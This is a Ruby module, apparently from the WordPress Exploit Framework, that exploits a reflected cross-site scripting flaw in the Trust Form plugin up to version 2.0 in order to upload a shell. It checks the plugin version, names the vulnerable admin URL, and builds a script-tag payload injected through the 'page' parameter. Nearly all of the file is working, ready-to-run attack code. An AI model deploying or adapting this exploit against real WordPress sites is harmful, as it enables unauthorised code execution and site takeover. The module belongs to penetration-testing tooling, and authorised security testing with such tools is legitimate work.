# frozen_string_literal: true

class Wpxf::Exploit::TrustFormReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Trust Form <= 2.0 Reflected XSS Shell Upload',
      author: [
        'Yorick Koster', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8755'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_trust_form_wordpress_plugin.html']
      ],
      date: 'Mar 02 2017'
    )
  end

  def check
    check_plugin_version_from_readme('trust-form', '2.0.1')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php?page=trust-form-edit')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
